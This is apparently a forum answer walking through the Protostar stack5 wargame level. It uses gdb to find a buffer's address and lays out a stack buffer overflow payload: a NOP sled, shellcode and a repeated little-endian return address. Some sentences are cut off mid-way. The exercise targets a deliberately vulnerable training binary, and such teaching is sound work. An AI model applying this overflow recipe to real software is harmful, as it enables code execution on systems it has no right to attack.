Nothing easier than that.
gdb the executable, set a breakpoint at
main, have gdb print your buffer.
$ gdb /opt/protostar/bin/stack5
(gdb) break main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
Starting program: /tmp/stack5
Breakpoint 1, main (argc=1, argv=0xffffd674) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
(gdb) print &buffer
$1 = (char (*)) 0xbffff838
So, if your shellcode starts at byte 0 of the buffer, you want to overwrite the saved EIP on the stack with
In fact, to make your exploit independent from small changes in the program (one more local variable, or one less ...) i'd fill the buffer with 32
0x90) and put my shellcode behind those
nops. This still leaves you with 32 bytes for the shellcode, which should be plenty. Then, jump to
0xbffff848 which is 16 bytes into the nops, and shifting them around by a few bytes won't hurt you anymore.
At the end, instead of calculating how many bytes between the end of the buffer and the saved
EIP, i'd just repeat the buffer address a few times, so you can be sure EIP gets overwritten; you don't really care about whatever else is there.
So to sum it up, your input should be
0x90 (32 times)
as many 0x90's as you need to fill the buffer to 64 bytes
0x48 0xf8 0xff 0xbf repeated about 10 times.
Remember to swap the
EIP bytes because we're on a little endian machine.